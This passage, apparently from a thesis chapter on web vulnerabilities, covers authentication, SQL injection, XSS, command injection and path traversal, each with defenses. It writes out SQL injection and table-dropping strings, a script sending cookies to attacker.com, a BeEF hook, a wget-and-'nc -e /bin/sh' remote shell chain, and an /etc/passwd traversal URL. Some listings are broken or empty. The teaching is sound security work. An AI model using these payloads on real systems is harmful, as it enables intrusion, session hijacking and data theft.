A common problem is that the combination of username and password can be easily guessed. Users typically choose their log-in information so it is easy to remember. Unfortunately, it can often be easily guessed at the same time. Typically the password is too short, equal to the username, a dictionary word or even blank. The username is usually easy to guess as well, since users tend to use very common patterns for creating their usernames or an application generates usernames in a predictable way. The attacker can then mount a brute-force attack against the authentication, enumerating various combinations of usernames and passwords to try to log-in. The brute-force can be even faster if the Web application provides error messages that are too verbose, such as informing the user what

---

9 Along with context information to prevent replay attacks.
piece of information is invalid. Even if the error messages are not verbose there can still
be minor differences in the behavior of the application that can reveal the same information
about the validity of a given piece of information. As an example consider variation in pro-
cessing time of a request when the username is correct compared to when it does not exist
at all. Alternatively the returned Web page informing about log-in attempt failure might
be slightly different when the username exists and when it does not, despite the submitted
password being wrong. The attacker can use this information to dramatically increase the
probability of a successful break-in. Furthermore, if the transmission of log-in information
is not encrypted it can be eavesdropped. Web applications might enforce a lock out policy
on user accounts whose log-in information is incorrect for several times in a row, in order to
prevent brute-forcing of log-in credentials. The attacker does not necessarily want to grant
access; the only goal can be just locking out all the accounts, causing denial of service.

Most Web applications offer further a functionality such as change password, forgot-
ten password or "remember me". Each of these functionalities are commonly implemented
less securely than the main log-in. The functionality to change the password may for ex-
ample enable the attacker to verify if a certain username exists via error messages. The
forgotten password functionality often provides a secondary challenge question that can be
easily guessed (such as a favorite color) or is publicly known. Remember me functionality,
if poorly implemented, can result in a complete bypass of the log-in even if only the user-
name is provided. For example the functionality might be implemented as a cookie with
name/value pair (persistent_login=username) allowing a user to automatically bypass the
normal log-in mechanism.

Another issue that the authentication mechanism can suffer from is when the credentials
are stored or retrieved in an insecure manner. The attacker might provide malicious input
that exploits wrong, non-checked assumptions of Web developers about the input, such as
SQL injection\textsuperscript{10} and XSS\textsuperscript{11}. Other injection techniques are also possible [44], but are less
common.

\textbf{Defense}

In many cases implementing a secure authentication involves a trade off between usability,
functionality and financial aspects. For example, if the authentication forces users to use
long or complicated passwords that are very secure, users tend to just write them down
somewhere. If a hardware token generator is used, its delivery to all users might not be
feasible from financial point of view, and so on.

Nevertheless, suitable minimum password quality should be enforced. The password
quality rules may include minimum password length, combination of various special char-
acters, numbers and letters, avoidance of dictionary words, etc. Different password quality
might be appropriate for different group of users. Usernames should be unique and any
generated credentials should contain sufficient entropy so that the values cannot be easily
inferred. All credentials should be created, stored and transmitted in a way that does not
lead to unauthorized disclosure and their transfer should be encrypted.

\textsuperscript{10}See 3.5
\textsuperscript{11}See 3.6
The storage of the credentials should be done in a way so it is impossible to revert the original values in case the credentials can be read - typically done via hashing. However, even if a secure hashing schema is used\textsuperscript{12}, a rainbow table attack can still be applied. In this kind of attack, millions of passwords are precomputed and the resulting hash is then stored in huge databases where it can be easily retrieved. A safer approach is to hash the password once before appending a random salt\textsuperscript{13}. Then iteratively apply the hashing on the result several thousand times. The salt needs to be stored separately. Furthermore a generic message should inform about the log-in failure and should not give any hint to a potential attacker. To prevent brute-forcing attacks even more, accounts should be temporarily disabled for a short time period after few incorrect log-in attempts. Incorrect log-in attempts should be logged and monitored \cite{44}.

### 3.4 Access control

Access control or authorization, is the process of granting or denying specific requests: 1) for obtaining and using information and related information processing services; and 2) to enter specific physical facilities (e.g., Federal buildings, military establishments, and border crossing entrances) according to [9]. It is a critical defense mechanism within a Web application, because it is responsible for the decision whether or not access to sensitive resources should be permitted. According to [44], the access control can be either vertical or horizontal. Vertical access control distinguishes which parts of the application a user can access. Horizontal access control specifies the subset of resources of the same type that a user is allowed to access.

If the access control is broken, an attacker can perform a sensitive action or access sensitive information without sufficient privileges. For instance users should be able to see only those documents that they own, but when the horizontal access control mechanism is broken, it might be possible for an attacker to view any document. A common scenario is an improper use of static files. Some applications provide a link to a static file after a proper access control check, but the static file itself may be offered by the Web server for download to anyone who requests it via an appropriate GET request (such as typing the URL into the Web browser). Such a security issue is then referred to as broken identifier access control. The identifier can be a file name, a hash of the file name or some special parameter. The knowledge of such identifier might then be enough to access resource, or perform an action without sufficient privileges. The identifier can be captured via various ways - it can be guessed, inferred from the context, brute-forced etc.

### Defense

Most Web applications have some access control requirements that should be well defined and documented. The code checking the access control should be well structured and centralized \cite{4}. Also a multi-layer privilege model, where access control is not only enforced...

\textsuperscript{12}Over time, some hashing schemes such as MD5 have been found insecure \cite{38}.
\textsuperscript{13}A random sequence of characters.
within an application itself but also in the underlaying layers (Web server, database, operating system), is considered good security practice [44]. Furthermore, multiple mechanisms should be used for sensitive resources to ensure that the content will not be cached [4]. This can be achieved using special HTTP headers and meta tags.

It is recommended that one summarizes access control requirements in a privilege matrix that captures the kinds of users, roles and restrictions given for various layers of the system [4, 44]. In the example matrix in Figure 3.2, only an application and a Web server’s privileges are captured; however, the privilege matrix can be extended to include every layer. The whole privilege matrix can then be stored within a database and the access control can be checked programmatically. Furthermore the least privilege principle should be applied. The least privilege principle gives a code the lowest access sufficient to complete the required tasks [4].

![Figure 3.2: Example of a privilege matrix](image)

### 3.5 SQL injection

Web applications are typically connected to a relational database. The software system used for database manipulation is commonly called a relational database management system (RDBMS). A RDBMS enables user to retrieve, manipulate or insert data. Interaction with the RDBMS is typically done using Structured Query Language (SQL). When an SQL query is issued to a RDBMS, a "result set" is returned. This result set is formatted according to the SQL command issued. SQL injection is a technique that tries to insert custom SQL commands into the original query based on user input, forcing the application to perform an originally unintended action.

A typical SQL query contains a specification of which data should be returned, optionally with some specific filters. For example:

```sql
Listing 3.2: Basic SELECT query.

```

```sql
SELECT id, firstname, surname FROM user
WHERE username = 'root' AND password = 'toor'
```

22
SELECT part defines which columns should be retrieved and also defines order, FROM part specifies a table that is to be queried and a WHERE part is a filter specifying which data from a row should be included.

Detection

SQL injection vulnerability might be present if the input is not properly filtered for escape characters or if the used programming language is weakly typed. Note the single quote in the example above. Let’s assume that the application uses this piece of pseudo-code from listing 3.3 for creation of an SQL query. In this example, the escape characters are not filtered. Consider the input for username ‘ OR 1 = 1 --. The resulting query is as shown in listing 3.4.

Listing 3.3: Login pseudo-code vulnerable to SQL Injection into a string parameter.

```plaintext
var sql_login_query = "SELECT id, firstname, surname FROM user " + "WHERE username = ' " + username + " ' AND password = ' " + password + " '"
```

Listing 3.4: Effect of ‘ OR 1 = 1 -- input on an SQL query (1).

```sql
SELECT id, firstname, surname FROM user
where username = ' ' OR 1 = 1 -- AND password = 'toor'
```

In SQL, ‘--’ is used along with ‘#’ as the beginning of a single-line comment, so the returned result set contains all the records from the table user. If the login function relying on this query takes only the first returned data vector and ignores the rest, the attacker can bypass it, while at the same time verifying that SQL injection is possible.

If the input is not strongly typed or is not checked for type constraints (common in eg. PHP), SQL injection can occur as well. For example when a numeric value is expected but not checked, a string value can be supplied instead. Let’s consider following fragment of code:

Listing 3.5: Code vulnerable to SQL Injection into a numeric parameter.

```plaintext
sql_user_info = "SELECT * FROM user WHERE id = " + numeric
```

If 1 AND 20 = 20 is supplied to the numeric variable user and id 1 is returned, but for 1 AND 20 = 21 it is not, an SQL injection vulnerability has been found. Weakly typed languages such as PHP would automatically work with a numeric variable as if it was a string, because the assigned value would be that of a string, instead of an expected number.

In order to detect the possibility of SQL injection, input similar to the one from table 3.1 can be used. Also comment characters ( #, --, /* ) can be tried out differently with arbitrarily text behind them.
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

Data manipulation and retrieval

When one tries to perform a different query via SQL injection, there are two options possible. The first one is a straightforward use of batch queries, also called stacked queries. Batched query is an ability of SQL to pass multiple SQL statements as one, separated by a semicolon. These statements are then executed in a left to right manner by RDBMS. Even though they do not have to be related, failure of one will force the evaluation to end.

As an example consider listing 3.3 once more. If \texttt{1;drop table users} is supplied instead of a number and the batch queries are supported, the table users will be dropped. The query will look like:

\begin{verbatim}
sql_user_info = "SELECT * FROM user WHERE id = 1;DROP table user"
\end{verbatim}

SQL offers operations on sets. One of them is the union operation that is allowed as long as the dimension of the two data vectors to be joined is equal. If batched queries are not supported, one can use the \texttt{UNION} operator to retrieve data. Consider again the pseudo-code from listing 3.3. Let the input values for the password be \texttt{UNION SELECT 1,2,3 FROM table x} and for the username \texttt{x}. Then the resulting query looks like this:

\begin{verbatim}
SELECT id, firstname, surname FROM user
WHERE username = 'x' AND password = '' UNION SELECT 1,2,3
FROM table x
\end{verbatim}

The number of columns used in the query can be established for example by trial and error by using \texttt{ORDER BY}. This is an SQL command to sort the result on a given column.

Table 3.1: Test strings for SQL injection.

<table>
<thead>
<tr>
<th>Error/logic change</th>
<th>Injection strings</th>
<th>Login bypass</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>6 - 5</td>
<td>' OR '1'='1</td>
</tr>
<tr>
<td></td>
<td>5' or 1='1</td>
<td>' OR 1=1 - -</td>
</tr>
<tr>
<td></td>
<td>5#</td>
<td>OR 1=1 - -</td>
</tr>
<tr>
<td></td>
<td>5')#</td>
<td>OR 1=1</td>
</tr>
<tr>
<td></td>
<td>' - '</td>
<td></td>
</tr>
<tr>
<td></td>
<td>' - '</td>
<td></td>
</tr>
<tr>
<td></td>
<td>blah'S''(#</td>
<td></td>
</tr>
</tbody>
</table>
The column on which ORDER BY should be applied can be specified via its name, expression or by its sequential number. If the ORDER BY part specifies a column that does not exist, an error is generated. This error may then be shown to the attacker, if the web server is configured that way. As an example consider supplying the following password values: ‘ ORDER BY 1 -- ’, ‘ ORDER BY 2 -- ’, ‘ ORDER BY 3 -- ’. Now assume one uses ‘ ORDER BY 4 -- ’ and an error is returned by the RDBMS. Then one knows that the selection contains exactly 3 columns. UNION can be used to perform custom SQL queries and retrieve any data that the user has permissions to access. It often results in the ability to read the whole database and more.

Database enumeration

In order to enumerate the tables/columns that are present on the remote database, one needs to access specific tables. These tables contain the structure of the database metadata. Users performing queries against these special tables must be authorized to view them. An example of such a table is information_table present in MySQL from version 5.0 and above.

Privilege escalation

The attacker might try to gain administrator privileges to fully access the system. There are several techniques for privilege escalation via SQL injection that depend on RDBMS. There are RDBMS implementation and configuration specific vulnerabilities, but there are also more general approaches such as stealing and cracking password hashes. It might be even possible to send emails, connect to different databases, access the local file system or even send HTTP(S) requests. The attacker can benefit from these features, for example if the information cannot be shown in the Web application it might be possible to email it to themselves. For more information see [23].

Blind SQL injection

Sometimes SQL injection vulnerability is present, but one can not see any of the data being returned. Maybe there is just a general error message or perhaps there is no output at all. Attackers can still exploit the website even in such scenarios via a technique called blind SQL injection. Even though the attacker does not have direct access to data, the injection changes the behavior of the application. The attacker can observe the different behavior of the application to various injections by asking yes/no questions to retrieve the data. The attacker analyzes the response pages looking for differences between the yes (true) and no (false) response pages. Differences can include different hashes, HTML structure, patterns (keywords) or behavior such as response time. If there is a such an reliable indicator, then it is possible to extract all available information from the RDBMS via a sequence of answers to yes/no questions.

The attack can look as follows. First, the attacker verifies that SQL injection is possible. One technique is to force a generic error by inputting a single-quote character in the query. If the generic error is displayed, then it is quite likely that the application is vulnerable,
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

although it can fail for other reasons. In the next step the attacker would try to input statements such as ‘ OR 1=1 -- and ‘ AND 1=2 -- to see if the application behaves in a different way. It is generally possible to submit queries with side effects that an attacker can observe. The oldest technique is called timing delay. Time delays are a type of blind SQL injection that cause the RDBMS to execute a query that takes a long time to finish. The time that the page takes to load can then be measured. This can be for example when asked a true or false question achieved by calling a sleep function or by performing a computation intensive SELECT that takes a long time to return [31].

If the vulnerability is present and verified, the attacker can use blind sql injection to answer true and false question. As an example, consider that an electronic magazine accepts an article id, but does not sanitize the input properly and it is implemented in weakly typed language such as PHP, so we can easily input a string instead of a number:

Listing 3.8: Confirming SQL injection presence.

# Displays article with ID 1, no error.
http://www.server.com/article.php?ID=1

# Displays an empty page.
http://www.server.com/article.php?ID=’1

# Displays an article with ID 1.
http://www.server.com/article.php?ID=1 AND 1=1

# Displays a different page than an article with ID 1 — SQLi confirmed.
http://www.server.com/article.php?ID=1 AND 1=2

# Is the current user root?
# Works on under MySQL

Assuming the underlying database is MySQL, if the current user is ‘root’ (administrator), the article will be returned normally. This technique can be further leveraged to completely mine the whole database [19]. Over time, attackers developed more advanced and faster techniques to dump data [28].

Second order SQL Injections

Second order SQL injection exploits the assumption that once data is stored in the database it is safe, thus omitting output validation. This can result in user input causing SQL injection in a different place than where it is provided. It is usually quite hard to detect but it is just as dangerous as normal SQL injection [23].
Cross-Site Scripting

Defense

One of the root causes of SQL injection is so called dynamic query building, where the SQL query is built by concatenating string values with user input. Here follows a typical piece of pseudo-code using dynamic query building that is vulnerable to SQL injection:

```
Listing 3.9: Example of bad coding habit leading to SQL injection.
Username = request("username")
Password = request("password")
SqlQuery = "SELECT * FROM user
    WHERE username='" + Username
    + "' AND password='" + Password + "'"
Result = Db.Execute(SqlQuery)
If (Result not Empty) Then Login
```

Parametric statements

A more secure alternative is called a parametric statement. The idea behind it is that a query is one string containing insertion points for user data. These insertion points are typically marked with a special character such as a question mark or a special sequence of characters (eg. starting with a semicolon :parameter1). Then, when the query needs to be called, user data is just bound to certain insertion points. So the structure of the query does not change, which is very important.

It should be noted that even parametric statements can lead to security issues. Parametric statements do not modify potentially insecure parameters. If the attacker supplies a query or a stored procedure call as a parameter, SQL injection can still occur if the database functionality being invoked uses dynamic query building [23]. Also, the content stored in the database could be used as input elsewhere, causing SQL injection indirectly. Therefore, not only should the user-supplied input should be still validated and sanitized, but also the contents of the database should be checked when used as input.

Furthermore RDBMS should run with minimal privileges and its access to the file system should be restricted.

3.6 Cross-Site Scripting

Cross-Site Scripting (XSS) could be called HTML injection. It exploits a non-sanitized input/output resulting in Web page structure modification or code execution within the victim’s Web browser. HTML is a markup language used as a basic building-block of Web pages. It is basically just a set of tags telling the Web browser how to render the page. HTML has a serial structure, mixing formatting and content. Scripts written in JavaScript or Visual Basic Script can be included in HTML to add dynamic content. A non-validated
3. Detection and Prevention of the Most Dangerous Web Vulnerabilities

User input may lead to the modification of the HTML structure and/or addition of script. XSS typically inserts some kind of JavaScript code into HTML.

There are 3 types of XSS [29]:

- Reflected XSS
- Stored XSS
- DOM-based XSS

**Reflected XSS attack**

A reflected XSS attack is possible when a Web application takes parameters and directly copies them to the response, e.g., simply rendering a text. Consider listing 3.10, that displays GET HTTP parameter `msg`. Such a piece of code can be used to display custom messages.

```
Listing 3.10: PHP fragment of code with Reflected XSS vulnerability
<html>

<?php
    echo "<h1>Message: " . $_GET['msg'] . "</h1>";
?>
</html>
```

Since the input is not validated but simply included in the HTML, one can easily provide the following JavaScript/HTML code that displays an alert box depicted at figure 3.3:

```
Listing 3.11: Reflected XSS confirmation
</h1><script>alert( 'hi' )</script><!--
```

![Figure 3.3: Result of passing input from listing 3.11 to the listing 3.10](image)

Input from listing 3.11 results in following code:
Cross-Site Scripting

Listing 3.12: HTML source code as a result of input from listing 3.11

```html
<html>
<h1>Message: </h1><script>alert(‘hi’)</script><!----></h1>
</html>
```

The first </h1> tag is submitted to close the opening <h1> tag. Then the JavaScript
is inserted and after that the <!---- comment symbol is used to comment-out the rest of
the line. Modern browsers are not very strict in following the HTML specification [2]. The
tag <script> should have a parameter type specifying the scripting language, without a
default value being specified. Even still JavaScript is correctly executed without the type
parameter. Inputting <script>alert(‘hi’)</script> would also work the same way on modern Web browsers. JavaScript can be furthermore heavily obfuscated [34].

Stealing cookies

XSS vulnerabilities can be exploited in various ways. One of the most common attacks is
stealing a cookie to hijack a user’s session.

The attack looks like this:

1. The victim logs in to the application. He/she is issued with a cookie containing the
session identifier:

```http
Set-Cookie: session_id=1a2b3c4d5e6f789
```

2. An attacker feeds the JavaScript code from listing 3.13 to the victim. This code
creates a new image and sets its source (the location from which it should be down-
loaded) to the cookie grabber, a script that accepts the cookie through a parameter.
Once the cookie grabber receives the cookie it can hijack the session, just by adding
the Cookie header into the HTTP request and pretending to be the logged user.

Listing 3.13: JavaScript for sending of a cookie to a cookie grabber

```javascript
<script>
// Create new Image
var img = new Image;
// Set the source code of the image to the cookie grabber, passing the cookie as a parameter.
img.src = "http://attacker.com/cookie_grabber?cookie=
+ escape(document.cookie);
</script>
```

3. The JavaScript from listing 3.13 cannot be inserted as is; it needs to be URL encoded.
It will result in a URL looking like listing 3.14, but one can even go a step further and
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

replace all the JavaScript with UTF-16 encoding, leading to an even less suspicious URL. One can also use URL shortening services such as TinyURL.com.

Listing 3.14: Reflected XSS attack for sending of a cookie to a cookie grabber

```html
var img=new Image; img.src="http://attacker.com/cookie_grabber?cookie=unescape(document.cookie);
</script>
```

The reason why the attacker goes through the trouble of tricking the user into using his specially crafted URL to grab a cookie is because of the same origin policy restriction [10], implemented by all modern browsers [13]. Same-origin policy enforces isolation of Web pages from different origins. Web pages are said to be from the same origin when there is a match of the URL protocols, domain names and ports. The situation is a little different with cookies. By default, the scope of a cookie is limited to all URLs on the current host name. The scope is not limited to either port or protocol [13]. So the attacker can grab the contents of the cookie for a given domain, if he can inject a script that executes on a Web page sitting on that domain only.

There is a similarity to a phishing attack. A phishing attack is the cloning of a target application and somehow tricking the victims into using such a clone. The methods of delivery (eg. via email) may be similar to XSS, but XSS executes within the context of the original application and is thus more threatening.

**Stored XSS attack**

Stored XSS vulnerability is present when a Web application persistently stores input data, typically in a database, without properly checking it. The application then directly renders such data into the resulting HTML pages. The impact is potentially a lot more dangerous than reflected XSS, as the malicious code can potentially be executed by everyone just using the Web application normally, even without visiting a suspicious URL.

**DOM based XSS**

DOM (Document Object Model) is an object model specification for XML and HTML structures, as defined by W3C [6]. There are mainly two parsers for XML - SAX and DOM. SAX is a fast, less memory demanding event based parsing mechanism for XML; however it is not very intuitive. On the other hand DOM-based parsers load an entire XML into memory as an object structure, allowing for much easier manipulation. Web browsers use DOM.

DOM based XSS is similar to reflected XSS. The difference is that DOM based XSS exploits faulty client-side validation. The prerequisite is an HTML page using specific JavaScript functions that can modify the DOM of the current page in an insecure manner [37]. It can be seen as an injection into the JavaScript code.
Cross-Site Scripting

Listing 3.15: DOM based XSS HTML source code taken from [37]

```html
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<br>
Welcome to our system
</HTML>
```

When JavaScript is executed by a browser, it is provided with a few objects representing
the DOM. The `document` object is the most important one. It represents most of the Web
page properties and also contains sub-objects, such as `location`, which contains informa-
tion about the URL. Consider listing 3.15. This request exploits DOM XSS vulnerability:

```
http://www.vulnerable.site/welcome.html?name=<script>alert(' DOM XSS!')</script>
```

When the victim receives the static HTML page, a Web browser parses it into the DOM.
The URL of the current page is then accessible via `document.URL`. The JavaScript code
modifies the HTML, inserting everything after the `name` parameter, which can be another
malicious JavaScript payload. In this example the script is still sent to a server, but it is also
possible to exploit this vulnerability without sending the malicious payload [37].

**XSS detection**

XSS is very common. Scripts can be included within HTTP headers, form fields or HTTP
POST and GET parameters, browser plugins and more. It always depends on the imple-
mentation of the actual Web application. A standard approach is to insert tags such as
```
<script> or characters such as ", <, > and \\ and see if it is filtered in the output. The
attacker would typically try a simple `<script>alert('XSS')</script>`. Even if
the Web application has some filters in place, they tend to be easily broken. For example,
it may filter out `<script>`, but not `<script>script>` or `<ScRipT>`. Even if the
`<script>` tag is properly filtered, it is not the only point where JavaScript can be inserted.
One can insert JavaScript into event handlers such as `onfocus` or `onmouseover` for vari-
ous tags, without the necessity to use the `<script>` tag. Also when the image source
contains unfiltered user input, one can provide nonsense input and install an `onerror`
handler. There are many other possible insertion points as well.

**Attack vectors**

There are numerous other attacks that exploit XSS, as suggested by [29, 44]. These include
"defacement", which is a modification of looks within a given Web application, injecting
malware, logging pressed keys and many, many others.

Several frameworks have even been developed for XSS exploitation. They are typically based on JavaScript hooks, contact a server controlled by the attacker. Once installed, the malicious JavaScript code periodically contacts the server and receives commands. Even though one can not directly set a channel for communication, including JavaScript code from any site dynamically is possible. That way bi-directional communication can take place. Actions supported by XSS frameworks include:

- Keylogging
- Clipboard capturing
- Session hijacking
- Fingerprinting the browser
- Exploiting known browser vulnerabilities
- Network port scan (including local network)
- Attacking other Web applications via malicious requests
- Stealing history
- Custom JavaScript injection

Figure 3.4: BeEF’s interface.
• Screenshots

One such sophisticated framework is BeEF, the Browser Exploitation Framework [12]. One just needs to force the user to include a short script, for example via XSS as shown in listing 3.16. Then the attacker can control the victim’s browser from the BeEF interface (Figure 3.4).

Listing 3.16: Using reflected XSS to control victim via BeEF.

...<script type="text/javascript" src="http://attacker.com/beef/hook/beefmagic.js.php"></script>

Defense

Preventing XSS is rather straightforward. The biggest problem is to identify all situations where user-supplied data is used to render the response. From the user’s point of view the best way to defend against XSS is to disable JavaScript altogether. There is a very good plugin for FireFox called NoScript\(^{14}\) that allows selective disabling/enabling of scripts. One can choose the scripts that are allowed to execute.

The problem with both reflected and stored XSS is improperly sanitized user input that is directly output into HTML. In order to protect against it, one needs to identify every instance within the application where the user data is being received and output. Then both input and output should be properly sanitized. Inserting user data directly into JavaScript should be avoided. It is crucial to sanitize the data according to the context it is going to be displayed in. Standard functions that, for example, perform encoding of special HTML characters, such as htmlEntities in PHP, are safe only when the data appears between tags and as attributes surrounded by quotes inside tags. Such encoding functions usually do not prevent insertion in a <script> tag or other places where JavaScript can appear directly, such as event handlers, since that is a JavaScript and not an HTML context. Different sanitization needs to be done in such places.

Another important security element is to always explicitly specify encoding type in HTTP response headers and ensure XSS filters are compatible with the encoding.

3.7 Command injection

When a Web application prefers issuing operating system commands directly as compared to calling standard API functions and the command itself is at least partially built from user supplied data, there may be danger of command modification [44].

When a Web application calls an underlying operating system functionality directly, for example via PHP function exec, it passes user data unchecked. Certain metacharacters (see table 3.2) can then be inserted to perform arbitrary commands. Support and behavior of metacharacters is given by the interpreter (shell) executing the command.

---

\(^{14}\)http://noscript.net/
Detection

If the output of the command is directly visible to the user (e.g., it is rendered back to the user as a response), the possibility of command injection can be verified by inserting an extra command and observing the response. Typically such a command needs to be correctly joined to the surrounding command using metacharacters. For example, one can try inserting `& dir` on Windows-based systems or `&& ls` on *nix systems to obtain current directory listing.

If the result is not directly visible, there are other means for detection. For example, time delay can be used. One of the suitable commands is `sleep`. It takes a number of seconds to wait as an argument before continuing execution, although it may not available on the operating system. It is possible to craft an input string that runs on both Windows and *nix systems - for example `ping -c 30 127.0.0.1 ; b || ping -n 30 127.0.0.1` [44]. When the command executes on a Windows machine, the first ping fails with an error, because `-c` is not a valid argument for a Windows ping implementation, so the second ping will be performed 30 times. On Linux, the first ping will get executed but then `b` is an unknown command\(^{15}\) forcing the interpreter to stop the command execution.

Another possibility could be a method of out-of-band communication, such as using the `mail` command to send output via email or redirecting the result to an output file using `>`, preferably into a folder whose contents are accessible, such as a Web root directory.

Script injection

If the Web application uses user input to execute dynamically generated code, similar techniques can be used for exploitation. For example, both Perl and PHP contain the function

\(^{15}\)It could be an alias and in that case one needs to provide a different invalid command.

Table 3.2: Example of common operating system shell metacharacters.

<table>
<thead>
<tr>
<th></th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>`</td>
<td>&quot;pipe&quot; - redirecting the output from one process into the input of another process</td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td>running two processes, one after another (windows); start program in the background (Linux)</td>
</tr>
<tr>
<td>`</td>
<td></td>
</tr>
<tr>
<td><code>&amp;&amp;</code></td>
<td>&quot;and&quot; - running one or two processes, one after another; runs the second one if the first one finished successfully</td>
</tr>
<tr>
<td><code>()</code></td>
<td>grouping or nesting multiple commands</td>
</tr>
<tr>
<td><code>;</code></td>
<td>newline</td>
</tr>
<tr>
<td><code> </code>, <code>\n</code></td>
<td>batch separation of multiple commands</td>
</tr>
<tr>
<td><code>'</code></td>
<td>shell first executes commands encapsulated by <code>'</code> and then replaces it with the resulting output such execution (Linux)</td>
</tr>
<tr>
<td><code>&lt;</code>, <code>&gt;</code></td>
<td>input/output redirection</td>
</tr>
<tr>
<td><code>#</code>, <code>--</code></td>
<td>line comment for Linux and Windows</td>
</tr>
</tbody>
</table>
Command injection

eval, which dynamically executes PHP code that is passed as its argument.

**Attack vectors**

When command injection vulnerability is confirmed, the attacker will typically try to get a shell as soon as possible. One option is to issue commands directly using a Web browser, when the output is visible, but there are other options as well.

Another approach is getting a remote shell. There are two options to do this. The first is known as a bind shell, where a socket listening on a certain port is created. One waits for a connection and forks a new shell on each connection. The second is called connect-back shell. This is where the shell is created, bound to a socket and the server itself tries to connect to the attacker’s PC. Connect-back shell is typically used when there is a firewall, since firewalls are commonly configured to allow outbound connections without much restrictions.

**Example**

Listing 3.17: PHP example script of a help system that is vulnerable to command injection

```php
<?php
// No sanitization/validation
$help_file_no = $_POST['help_idx'];

if (isset($help_file_no) && $help_file_no != 0) {
    // Command injection!
    echo passthru("type ${help_file_no}.txt");
}
?>
```

Let's consider an attacker that found the possibility of command injection in an PHP application, whose source code is listed in listing 3.17. The attack, from detection of the
command injection vulnerability to obtaining a remote shell, will be typically performed in two steps.

The first step is detection. An attacker tries to tamper with the POST parameter help_idx. To do this one can use Netcat. Netcat\(^{16}\) is a networking utility that can be used to read and write data across a network connection via a TCP/IP protocol stack.

The attacker then uses the `sleep` command to perform the delay, URL encoding it\(^{17}\), so `1 \& sleep 5 \&` becomes `1%20%26%20sleep%205%20%26%20`, turning the resulting command into `1 \& sleep 5 \& .txt`. The first and last arguments are invalid commands and will generate errors in the standard output; however, `sleep` will be executed normally. The page will load at least 5 seconds slower\(^{18}\) than if the POST parameter was not tampered. If the page loads slower, the attacker assumes that the command injection vulnerability is present. It can be further confirmed by providing `1 \& ls \&` as the tampered parameter, to obtain the directory listing.

The second step is obtaining a remote shell. If the underlying system is Linux and the `wget`\(^{19}\) utility is installed, the following command can be issued through the POST parameter `help_idx` to download Netcat from `http://xxx.com` and connect the shell to an arbitrary port:

```bash
Listing 3.18: Setting up a bind shell.

# Download Netcat
wget -i "http://xxx.com/nc"

# Start Netcat, binding shell '/bin/sh' to the port 1337
# and wait for connection
nc -e '/bin/sh' -l -p 1337

Then the attacker can connect to the shell via:

Listing 3.19: Obtaining a remote shell.

# Obtain remote shell
nc server.com 80
```

Now the commands for the underlying operating system can be issued directly\(^{20}\).

**Defense**

The best defense is to use a standard API function. If issuing operating system commands and mixing them with user input is considered unavoidable, whitelisting should be used to allow only a very limited range of actions or/and the permitted characters should be limited to only alphanumeric characters (exclude metacharacters and spaces).

---

\(^{16}\)http://nc110.sourceforge.net/

\(^{17}\)http://meyerweb.com/eric/tools/dencoder/

\(^{18}\)Or more, depending on other factors such as a network delay.

\(^{19}\)Wget is a flexible utility mainly used for retrieving files using HTTP, HTTPS and FTP protocols.

\(^{20}\)The shell retrieved by these steps is not interactive.
3.8 Filename injection and path traversal

When a Web application needs to interact with a file system, for example, to provide various files for download, it may do so in an unsafe manner. An attacker may craft the input to access sensitive data, such as source codes of the whole application, configuration files, password files, logs etc. The vulnerability may allow file reading, writing or even code execution [44].

Consider a code in PHP that allows one to download a PDF file such as in listing 3.21. The script does not sanitize input at all[^21]. The attacker can download any file from a Web root folder through this script, but it is also possible to escape the Web root folder and download other files on the file system[^22] using a dot-dot-slash attack.

This attack gets its name from the sequence `../` that servers as a special link pointing to the parent directory. There is another link `./` that points to the current directory. On Windows platforms, both `../` and `..\` symbols can be used to access a directory on a higher level. In order to obtain the `/etc/passwd` file generally accessible by everyone on a Linux machine the attacker can submit the following command into his Web browser:

**Listing 3.20: Path traversal attack**

```
http://localhost/victim/path_traversal.php?file=../../../../../../../../../../etc/passwd
```

The parent folder pointer found in the root folder of the whole file system typically points to itself, so when the dot-dot-slash sequence is long enough the attacker reaches the root directory and can then specify an arbitrary file for retrieval.

**Listing 3.21: PHP script for downloading PDF files.**

```
<?php
    $filename = $_GET['file'];
    header('Content-type: application/pdf');
    header('Content-Disposition: attachment; filename="' .
        $_GET['file'] . '"');
    readfile($SERVER['DOCUMENT_ROOT'] . '/' . $_GET['file']);
?>
```

File/directory listing

There are several files that might be interesting for the attacker on the target file system. The attacker can guess the path and name of the desired file based on the underlying operating system and Web server; however, there are ways to fingerprint the file system structure [8, 46, 24].

Common files that the attacker will want to try to retrieve include:

[^21]: Besides a filename injection attack it is also vulnerable to another attack called HTTP response modification [44].
[^22]: Provided the application itself has permission for such actions.
3. Detection and Prevention of the Most Dangerous Web Vulnerabilities

- Source codes of the application (which allow the attacker to find new vulnerabilities) in the Web document root
- Configuration files (Web server, SSH, etc.) and other files that may reveal sensitive information

Detection of path traversal

Path traversal vulnerability might be difficult to detect; however, it is usually possible to guess which parts of the application might be vulnerable. First one should identify any instance where a request parameter appears to contain a directory or file name, such as \texttt{template=/en/menu} or \texttt{get=file.ext}. Typical candidates are Web pages that serve or display various documents or images.

File inclusion

Programming languages for developing Web applications typically support file inclusion. Normally this useful feature enables developers to reuse code. The file being included is interpreted as if its contents were inserted in the specified location. When a user input is used to specify the included file, it usually leads to file inclusion vulnerability. Unlike path traversal vulnerability, file inclusion vulnerability can lead to arbitrary code execution.

There are two types of file inclusions:

- Remote file inclusion (RFI)
- Local file inclusion (LFI)

Remote file inclusion

RFI allows the attacker to run custom code in the context of the attacked Web application [36, 46]. Consider the PHP code from listing 3.22 and assume the attacker submits the URL from listing 3.23. The value of the \texttt{GET} parameter \texttt{file} is used as an argument of the \texttt{include} PHP function. If PHP is configured to allow file inclusion from remote locations \footnote{Via directive \texttt{allow_url_fopen=On} in \texttt{php.ini} configuration file.} the code retrieved from \texttt{web_shell.php}, whose source code is in listing 3.24, may be included. This allows the attacker to execute arbitrary commands via a \texttt{cmd} parameter.

Listing 3.22: RFI/LFI vulnerability

```php
<?php
    \texttt{require}($\texttt{GET[ 'file' ]});
?>
```
Listing 3.23: RFI exploit


Listing 3.24: PHP Web shell.
